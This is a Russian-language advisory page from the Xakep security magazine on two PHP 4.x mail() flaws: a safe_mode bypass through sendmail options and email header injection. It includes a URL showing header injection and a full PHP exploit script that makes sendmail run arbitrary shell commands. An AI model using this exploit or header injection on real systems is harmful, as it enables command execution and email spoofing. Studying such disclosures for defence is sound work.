Продукты «Хакера»

  • Ежеквартальный «Хакер» #3

    Лучшие статьи квартала на бумаге

    2 000 ₽

    Заказать журнал
  • Годовая подписка на Xakep.ru

    Полный доступ к статьям и архиву выпусков

    6 000 ₽ в год

    Подписаться
  • «Пентест WEB» для начинающих

    Совместный курс «Хакера» и лаборатории «Хаксет»

    7 000 ₽

    Купить курс
  • Спецвыпуск «Хакера» #4

    Лучшие статьи за 2021–2022 годы на бумаге

    2 000 ₽

    Заказать журнал

PHP - среда разработки Personal HomePage от PHP Development Team. В PHP функции mail() обнаружено 2 уязвимости. Первая позволяет выполнять произвольные программы/сценарии в обход safe_mode, вторая позволяет подделывать почтовые заголовки и использовать сценарий в качестве открытого почтового ретранслятора. 

Обход ограничений safe_mode: gятый аргумент в функции mail() позволяет
передавать опции командной строки к sendmail. Недавно была обнаружена возможность передачи метасимволов в 5-м аргументе, что позволяет выполнять произвольные команды оболочки или внешние программы. Эксплоит ниже. 

Внедрение управляющих ASCII символов в параметры функции mail().:
если параметры передаются от пользователя, то он может подделать любые почтовые заголовки. Пример:
http://www.php.net/mailing-lists.php? maillist=your@email.com%0a&email=fake@from.net%0a.

Уязвимость обнаружена в PHP 4.0- 4.2.2.

8<----- bypass_safe_mode.php -----8<
<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии